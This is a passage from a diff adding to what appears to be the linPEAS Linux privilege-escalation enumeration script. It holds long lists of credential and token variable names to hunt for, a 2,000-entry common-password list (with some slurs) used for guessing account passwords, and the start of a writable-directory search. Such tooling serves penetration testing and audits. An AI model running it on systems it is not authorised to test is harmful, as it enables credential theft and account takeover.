+pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId"
+pwd_in_variables5="eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER"
+pwd_in_variables6="GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER"
+pwd_in_variables7="MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SECRET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET"
+pwd_in_variables8="OKTA_OAUTH2_ISSUER|OMISE_KEY|OMISE_PKEY|OMISE_PUBKEY|OMISE_SKEY|ONESIGNAL_API_KEY|ONESIGNAL_USER_AUTH_KEY|OPENWHISK_KEY|OPEN_WHISK_KEY|OSSRH_PASS|OSSRH_SECRET|OSSRH_USER|OS_AUTH_URL|OS_PROJECT_NAME|OS_TENANT_ID|OS_TENANT_NAME|PAGERDUTY_APIKEY|PAGERDUTY_ESCALATION_POLICY_ID|PAGERDUTY_FROM_USER|PAGERDUTY_PRIORITY_ID|PAGERDUTY_SERVICE_ID|PANTHEON_SITE|PARSE_APP_ID|PARSE_JS_KEY|PAYPAL_CLIENT_ID|PAYPAL_CLIENT_SECRET|PERCY_TOKEN|PERSONAL_KEY|PERSONAL_SECRET|PG_DATABASE|PG_HOST|PLACES_APIKEY|PLACES_API_KEY|PLACES_APPID|PLACES_APPLICATION_ID|PLOTLY_APIKEY|POSTGRESQL_DB|POSTGRESQL_PASS|POSTGRES_ENV_POSTGRES_DB|POSTGRES_ENV_POSTGRES_USER|POSTGRES_PORT|PREBUILD_AUTH|PROD.ACCESS.KEY.ID|PROD.SECRET.KEY|PROD_BASE_URL_RUNSCOPE|PROJECT_CONFIG|PUBLISH_KEY|PUBLISH_SECRET|PUSHOVER_TOKEN|PUSHOVER_USER|PYPI_PASSOWRD|QUIP_TOKEN|RABBITMQ_SERVER_ADDR|REDISCLOUD_URL|REDIS_STUNNEL_URLS|REFRESH_TOKEN|RELEASE_GH_TOKEN|RELEASE_TOKEN|remoteUserToShareTravis|REPORTING_WEBDAV_URL|REPORTING_WEBDAV_USER|repoToken|REST_API_KEY|RINKEBY_PRIVATE_KEY|ROPSTEN_PRIVATE_KEY|route53_access_key_id|RTD_KEY_PASS|RTD_STORE_PASS|RUBYGEMS_AUTH_TOKEN|s3_access_key|S3_ACCESS_KEY_ID|S3_BUCKET_NAME_APP_LOGS|S3_BUCKET_NAME_ASSETS|S3_KEY"
+pwd_in_variables9="S3_KEY_APP_LOGS|S3_KEY_ASSETS|S3_PHOTO_BUCKET|S3_SECRET_APP_LOGS|S3_SECRET_ASSETS|S3_SECRET_KEY|S3_USER_ID|S3_USER_SECRET|SACLOUD_ACCESS_TOKEN|SACLOUD_ACCESS_TOKEN_SECRET|SACLOUD_API|SALESFORCE_BULK_TEST_SECURITY_TOKEN|SANDBOX_ACCESS_TOKEN|SANDBOX_AWS_ACCESS_KEY_ID|SANDBOX_AWS_SECRET_ACCESS_KEY|SANDBOX_LOCATION_ID|SAUCE_ACCESS_KEY|SECRETACCESSKEY|SECRETKEY|SECRET_0|SECRET_10|SECRET_11|SECRET_1|SECRET_2|SECRET_3|SECRET_4|SECRET_5|SECRET_6|SECRET_7|SECRET_8|SECRET_9|SECRET_KEY_BASE|SEGMENT_API_KEY|SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE|SELION_SELENIUM_USE_SAUCELAB_GRID|SENDGRID|SENDGRID_API_KEY|SENDGRID_FROM_ADDRESS|SENDGRID_KEY|SENDGRID_USER|SENDWITHUS_KEY|SENTRY_AUTH_TOKEN|SERVICE_ACCOUNT_SECRET|SES_ACCESS_KEY|SES_SECRET_KEY|setDstAccessKey|setDstSecretKey|setSecretKey|SIGNING_KEY|SIGNING_KEY_SECRET|SIGNING_KEY_SID|SNOOWRAP_CLIENT_SECRET|SNOOWRAP_REDIRECT_URI|SNOOWRAP_REFRESH_TOKEN|SNOOWRAP_USER_AGENT|SNYK_API_TOKEN|SNYK_ORG_ID|SNYK_TOKEN|SOCRATA_APP_TOKEN|SOCRATA_USER|SONAR_ORGANIZATION_KEY|SONAR_PROJECT_KEY|SONAR_TOKEN|SONATYPE_GPG_KEY_NAME|SONATYPE_GPG_PASSPHRASE|SONATYPE_PASSSONATYPE_TOKEN_USER|SONATYPE_USER|SOUNDCLOUD_CLIENT_ID|SOUNDCLOUD_CLIENT_SECRET|SPACES_ACCESS_KEY_ID|SPACES_SECRET_ACCESS_KEY"
+pwd_in_variables10="SPA_CLIENT_ID|SPOTIFY_API_ACCESS_TOKEN|SPOTIFY_API_CLIENT_ID|SPOTIFY_API_CLIENT_SECRET|sqsAccessKey|sqsSecretKey|SRCCLR_API_TOKEN|SSHPASS|SSMTP_CONFIG|STARSHIP_ACCOUNT_SID|STARSHIP_AUTH_TOKEN|STAR_TEST_AWS_ACCESS_KEY_ID|STAR_TEST_BUCKET|STAR_TEST_LOCATION|STAR_TEST_SECRET_ACCESS_KEY|STORMPATH_API_KEY_ID|STORMPATH_API_KEY_SECRET|STRIPE_PRIVATE|STRIPE_PUBLIC|STRIP_PUBLISHABLE_KEY|STRIP_SECRET_KEY|SURGE_LOGIN|SURGE_TOKEN|SVN_PASS|SVN_USER|TESCO_API_KEY|THERA_OSS_ACCESS_ID|THERA_OSS_ACCESS_KEY|TRAVIS_ACCESS_TOKEN|TRAVIS_API_TOKEN|TRAVIS_COM_TOKEN|TRAVIS_E2E_TOKEN|TRAVIS_GH_TOKEN|TRAVIS_PULL_REQUEST|TRAVIS_SECURE_ENV_VARS|TRAVIS_TOKEN|TREX_CLIENT_ORGURL|TREX_CLIENT_TOKEN|TREX_OKTA_CLIENT_ORGURL|TREX_OKTA_CLIENT_TOKEN|TWILIO_ACCOUNT_ID|TWILIO_ACCOUNT_SID|TWILIO_API_KEY|TWILIO_API_SECRET|TWILIO_CHAT_ACCOUNT_API_SERVICE|TWILIO_CONFIGURATION_SID|TWILIO_SID|TWILIO_TOKEN|TWITTEROAUTHACCESSSECRET|TWITTEROAUTHACCESSTOKEN|TWITTER_CONSUMER_KEY|TWITTER_CONSUMER_SECRET|UNITY_SERIAL|URBAN_KEY|URBAN_MASTER_SECRET|URBAN_SECRET|userTravis|USER_ASSETS_ACCESS_KEY_ID|USER_ASSETS_SECRET_ACCESS_KEY|VAULT_APPROLE_SECRET_ID|VAULT_PATH|VIP_GITHUB_BUILD_REPO_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY_PASS"
+pwd_in_variables11="VIRUSTOTAL_APIKEY|VISUAL_RECOGNITION_API_KEY|V_SFDC_CLIENT_ID|V_SFDC_CLIENT_SECRET|WAKATIME_API_KEY|WAKATIME_PROJECT|WATSON_CLIENT|WATSON_CONVERSATION_WORKSPACE|WATSON_DEVICE|WATSON_DEVICE_TOPIC|WATSON_TEAM_ID|WATSON_TOPIC|WIDGET_BASIC_USER_2|WIDGET_BASIC_USER_3|WIDGET_BASIC_USER_4|WIDGET_BASIC_USER_5|WIDGET_FB_USER|WIDGET_FB_USER_2|WIDGET_FB_USER_3|WIDGET_TEST_SERVERWORDPRESS_DB_USER|WORKSPACE_ID|WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY|WPT_DB_HOST|WPT_DB_NAME|WPT_DB_USER|WPT_PREPARE_DIR|WPT_REPORT_API_KEY|WPT_SSH_CONNECT|WPT_SSH_PRIVATE_KEY_BASE64|YANGSHUN_GH_TOKEN|YT_ACCOUNT_CHANNEL_ID|YT_ACCOUNT_CLIENT_ID|YT_ACCOUNT_CLIENT_SECRET|YT_ACCOUNT_REFRESH_TOKEN|YT_API_KEY|YT_CLIENT_ID|YT_CLIENT_SECRET|YT_PARTNER_CHANNEL_ID|YT_PARTNER_CLIENT_ID|YT_PARTNER_CLIENT_SECRET|YT_PARTNER_ID|YT_PARTNER_REFRESH_TOKEN|YT_SERVER_API_KEY|ZHULIANG_GH_TOKEN|ZOPIM_ACCOUNT_KEY"
+
+top2000pwds="123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \
+snickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 12344321 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \
+stephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369 007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \
+redsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 147852 12121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 789456123 77777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \
+nigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 54321 252525 111222 0000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999 142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \
+katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 321321 2222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123 151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 7654321 4444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \
+charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \
+andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \
+plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude"
+PASSTRY="2000" # Default num of passwds to try (all by default)
+
+if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi # If Network reduce the time on this
+SEDOVERFLOW=true
+for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do
+ wgroups="$wgroups -group $grp -or "
+done
+wgroups="$(echo $wgroups | sed -e 's/ -or$//')"
+while $SEDOVERFLOW; do
+ #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort`
+ #if [ "$MACPEAS" ]; then
+ WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | sort) #OpenBSD find command doesn't have "-writable" option
+ #else
+ # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort`
+ #fi
+ Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*"
+ Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm
+ if ! [ "$Wfolder" ]; then
+ Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)"
+ fi
+ printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1
